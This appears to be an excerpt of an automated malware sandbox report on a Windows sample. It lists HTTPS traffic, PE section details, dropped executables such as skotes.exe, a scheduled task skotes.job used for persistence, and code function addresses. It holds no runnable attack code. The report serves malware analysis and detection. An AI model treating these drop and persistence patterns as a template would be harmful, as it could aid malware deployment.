Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443

Source: unknown	HTTPS traffic detected: 40.126.53.12:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.90:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.82:443 -> 192.168.2.6:49987 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name:
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:
Source: dc5edaf639.exe.34.dr	Static PE information: section name:
Source: dc5edaf639.exe.34.dr	Static PE information: section name: .rsrc
Source: dc5edaf639.exe.34.dr	Static PE information: section name: .idata
Source: dc5edaf639.exe.34.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D0E530	34_2_00D0E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D478BB	34_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D47049	34_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D48860	34_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D04DE0	34_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D431A8	34_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D42D10	34_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D58EF0	34_2_00D58EF0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D58E38	34_2_00D58E38
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D58E2C	34_2_00D58E2C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D58E28	34_2_00D58E28
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D4779B	34_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D04B30	34_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D37F36	34_2_00D37F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
